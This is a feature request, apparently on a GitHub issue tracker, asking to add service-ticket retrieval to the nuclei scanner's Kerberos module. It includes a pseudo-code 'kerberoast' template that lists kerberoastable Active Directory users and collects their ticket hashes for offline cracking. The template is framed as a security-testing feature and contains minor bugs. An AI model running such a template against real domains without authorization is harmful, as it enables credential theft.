add method for kerberos module te get a service ticket

[5amu]

Please describe your feature request:

The Kerberos module already performs an enumeration to find users without Kerberos pre-authentication required attribute (DONT_REQ_PREAUTH). In the spirit of improving the module, I propose a way to retrieve a kerberos service ticket. I already implemented it and I'll shortly attach the PR to this issue.

Describe the use case of this feature:

Expecially in combination with my previous pull request (#4420) nuclei could be used (but not limited) to replicate a kerberoasting attack with a simple template (pseudo-code) like this:

id: kerberoast

info:
  name: Kerberoast Target
  author: 5amu
  severity: info

javascript:
  - args:
      DomainController: "{{Host}}"
    code: |
      var ldap  = require("nuclei/ldap");
      var lc    = ldap.LdapClient();
      var users = lc.GetKerberoastableUsers(template.Domain, DomainController, template.Username, template.Password);

      krb = require("nuclei/kerberos");
      kc = krb.KerberosClient();

      var tickets = [];
      for (let i=0; i<users.lenght; i++) {
        t = kc.GetServiceTicket(template.Domain, DomainController, template.Username, template.Password, template.TargetUser, template.SPN);
        tickets.push(t);
      }

      to_json(tickets);
    extractors:
      - type: json
        json:
          - '.[].Hash'